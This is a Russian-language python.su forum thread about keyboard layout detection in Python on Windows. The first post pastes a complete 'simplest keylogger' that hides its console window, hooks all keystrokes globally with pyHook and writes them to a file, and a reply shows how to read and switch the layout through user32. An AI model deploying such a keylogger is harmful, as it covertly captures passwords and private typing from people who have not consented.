Форум сайта python.su
0
При включение зависит какая расскладка была включена если “РУС” то вовремя работы программы уже пользователь набирает на “ENG” но event.key думает что соровно рус…
и подеи у каждого окна своя расскладка.. пытался найти решение не получилось..
вот находил вроде как что то сдеали решение но не получилось у меня
пример простейшего кейлогера
import win32api import win32console import win32gui import pythoncom,pyHook win=win32console.GetConsoleWindow() win32gui.ShowWindow(win,0) def OnKeyboardEvent(event): if event.Ascii==5: _exit(1) if event.Ascii !=0 or 8: #open output.txt to read current keystrokes f=open('c:\output.txt','r+') buffer=f.read() f.close() #open output.txt to write current + new keystrokes f=open('c:\output.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() # create a hook manager object hm=pyHook.HookManager() hm.KeyDown=OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
Офлайн
7
Простой способ самому ставить раскладку:
import win32api import win32con import ctypes u = ctypes.windll.LoadLibrary("user32.dll") pf = getattr(u, "GetKeyboardLayout") numpf = pf(0) ENG = 67699721 RUS = 68748313 # Если стоит русская раскладка то переключаем на английскую # Переключение клавишами Shift+Ctrl # Если нужно Shift+Alt то вместо VK_CONTROL поставить VK_MENU if numpf == RUS: win32api.keybd_event(win32con.VK_LSHIFT, 0, 0,0) win32api.keybd_event(win32con.VK_CONTROL, 0, 0,0) win32api.keybd_event(win32con.VK_LSHIFT, 0, win32con.KEYEVENTF_KEYUP, 0) win32api.keybd_event(win32con.VK_CONTROL, 0, win32con.KEYEVENTF_KEYUP, 0) print("switched on ENG") else: print("default: ENG")
Офлайн